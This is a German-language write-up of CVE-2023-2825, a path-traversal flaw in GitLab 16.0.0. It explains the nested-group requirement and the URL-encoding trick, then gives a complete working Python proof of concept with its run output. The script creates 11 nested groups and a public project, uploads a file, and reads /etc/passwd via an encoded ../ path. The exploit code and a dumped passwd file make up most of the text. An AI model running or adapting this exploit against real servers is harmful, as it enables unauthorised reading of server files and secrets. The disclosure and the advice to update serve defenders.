
Der in Python geschriebene Proof of Concept zeigt, dass ein nicht authentifizierter böswilliger Benutzer eine Path-Traversal-Schwachstelle ausnutzen kann, um beliebige Dateien auf dem Server zu lesen, wenn ein Anhang in einem öffentlichen Projekt vorhanden ist, das in mindestens fünf Gruppen verschachtelt ist. Dies ist ein Problem mit kritischem Schweregrad.
Am 23. Mai 2023 veröffentlichte GitLab Version 16.0.1, die eine kritische Sicherheitslücke, CVE-2023-2825, behob, die die Community Edition (CE) und Enterprise Edition (EE) Version 16.0.0 betraf. Die Schwachstelle erlaubt nicht authentifizierten Benutzern, beliebige Dateien durch einen Path-Traversal-Fehler auszulesen. Sie wurde von pwnie auf HackerOne im Rahmen des Bug-Bounty-Programms entdeckt.
Zum Zeitpunkt der Erstellung dieses Artikels war kein öffentlicher Proof of Concept verfügbar.
Ein nicht authentifizierter böswilliger Benutzer kann eine Path-Traversal-Schwachstelle nutzen, um beliebige Dateien auf dem Server auszulesen, wenn in einem öffentlichen Projekt, das in mindestens fünf Gruppen verschachtelt ist, ein Anhang vorhanden ist. Dies ist ein Problem mit kritischem Schweregrad (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N, 10.0).
Diese Schwachstelle hat eine interessante Anforderung: Das Projekt muss in mindestens 5 Gruppen verschachtelt sein. In unseren Tests fanden wir eine direkte Korrelation zwischen der Anzahl der Gruppen und den Verzeichnissen, die traversiert werden können. Die Regel scheint N + 1 zu sein, d.h. wenn Sie 10 Verzeichnisse traversieren möchten, benötigen Sie 11 Gruppen.
Bei einer Standardinstallation von GitLab werden Dateianhänge nach /var/opt/gitlab/gitlab-rails/uploads/@hashed/<a>/<b>/<secret>/<secret>/<file> hochgeladen. Wenn Sie also das Dateisystem-Root erreichen möchten, müssen Sie 10 Verzeichnisse zurückgehen und benötigen daher 11 Gruppen.
Wenn Sie eine Datei als Anhang in einem GitLab-Issue hochladen, wird eine Anfrage an POST - /:repo/upload gesendet. Diese gibt eine JSON-Antwort mit der Datei-URL zurück, die Ihnen den Zugriff auf die Datei ermöglicht.
Die Datei-URL setzt sich aus /:repo/uploads/:id/:file zusammen, wobei :file der Dateiname selbst ist. Ersetzt man :file mit einem beliebigen Dateipfad, gibt GitLab die angeforderte Datei zurück. GitLab unterlässt es, diesen Dateipfad zu bereinigen, was zu einem Path Traversal führt.
Um diese Schwachstelle erfolgreich auszunutzen, müssen Sie das / im Dateipfad URL-kodieren. GitLab liest dies als Wert und dekodiert es intern. Wenn Sie es nicht kodieren, interpretiert GitLab das / im Dateipfad als Teil der Route.
In unseren Tests reichte es aus, nur das / zu kodieren, um Nginx-Pfadfehler zu umgehen.
Nicht authentifizierte Benutzer können diese Schwachstelle nur auf öffentlichen Repositories ausnutzen, die die Anforderungen an die verschachtelten Gruppen erfüllen. Eine Authentifizierung ist erforderlich, um auf das Repository selbst zuzugreifen.
Hier ist der Proof of Concept, geschrieben in Python. Er erstellt die 11 Gruppen, erstellt ein öffentliches Repository, lädt eine Datei hoch und nutzt dann die Schwachstelle aus, um die Datei /etc/passwd zu erhalten.
$ python3 poc.py
[*] Attempting to login...
[*] Login successful as user 'root'
[*] Creating 11 groups with prefix UJB
[*] Created group 'UJB-1'
[*] Created group 'UJB-2'
[*] Created group 'UJB-3'
[*] Created group 'UJB-4'
[*] Created group 'UJB-5'
[*] Created group 'UJB-6'
[*] Created group 'UJB-7'
[*] Created group 'UJB-8'
[*] Created group 'UJB-9'
[*] Created group 'UJB-10'
[*] Created group 'UJB-11'
[*] Created public repo 'UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825'
[*] Uploaded file '/uploads/74b16af4b9048e13c4311484bbfd3b76/file'
[*] Executing exploit, fetching file '/etc/passwd': GET - /UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825/uploads/74b16af4b9048e13c4311484bbfd3b76//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh
import requests
import random
import string
from urllib.parse import urlparse
from bs4 import BeautifulSoup
ENDPOINT = "https://gitlab.example.com"
USERNAME = "root"
PASSWORD = "toor"
# Session for cookies
session = requests.Session()
# CSRF token
csrf_token = ""
# Ignore invalid SSL
requests.urllib3.disable_warnings()
def request(method, path, data=None, files=None, headers=None):
global csrf_token
if method == "POST" and isinstance(data, dict):
data["authenticity_token"] = csrf_token
response = session.request(
method,
f"{ENDPOINT}{path}",
data=data,
files=files,
headers=headers,
verify=False,
)
if response.status_code != 200:
print(response.text)
print(f"[*] Request failed: {method} - {path} => {response.status_code}")
exit(1)
if response.headers["content-type"].startswith("text/html"):
csrf_token = BeautifulSoup(response.text, "html.parser").find(
"meta", {"name": "csrf-token"}
)["content"]
return response
# Get initial CSRF token
request("GET", "")
# Login
print("[*] Attempting to login...")
request(
"POST",
"/users/sign_in",
data={"user[login]": USERNAME, "user[password]": PASSWORD},
)
print(f"[*] Login successful as user '{USERNAME}'")
# Create groups
group_prefix = "".join(random.choices(string.ascii_uppercase + string.digits, k=3))
print(f"[*] Creating 11 groups with prefix {group_prefix}")
parent_id = ""
for i in range(1, 12):
# Create group
name = f"{group_prefix}-{i}"
create_resp = request(
"POST",
"/groups",
data={
"group[parent_id]": parent_id,
"group[name]": name,
"group[path]": name,
"group[visibility_level]": 20,
"user[role]": "software_developer",
"group[jobs_to_be_done]": "",
},
)
# Get group id
parent_id = BeautifulSoup(create_resp.text, "html.parser").find(
"button", {"title": "Copy group ID"}
)["data-clipboard-text"]
print(f"[*] Created group '{name}'")
# Create project
project_resp = request(
"POST",
"/projects",
data={
"project[ci_cd_only]": "false",
"project[name]": "CVE-2023-2825",
"project[selected_namespace_id]": parent_id,
"project[namespace_id]": parent_id,
"project[path]": "CVE-2023-2825",
"project[visibility_level]": 20,
"project[initialize_with_readme": 1,
},
)
repo_path = urlparse(project_resp.url).path
print(f"[*] Created public repo '{repo_path}'")
# Upload file
file_resp = request(
"POST",
f"/{repo_path}/uploads",
files={"file": "hello world"},
headers={"X-CSRF-Token": csrf_token},
)
file_url = file_resp.json()["link"]["url"]
print(f"[*] Uploaded file '{file_url}'")
# Get /etc/passwd
exploit_path = f"/{repo_path}{file_url.split('file')[0]}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
print(f"[*] Executing exploit, fetching file '/etc/passwd': GET - {exploit_path}")
exploit_resp = request("GET", exploit_path)
print(f"\n{exploit_resp.text}")
GitLab empfiehlt, alle von diesem Problem betroffenen Versionen so schnell wie möglich zu aktualisieren.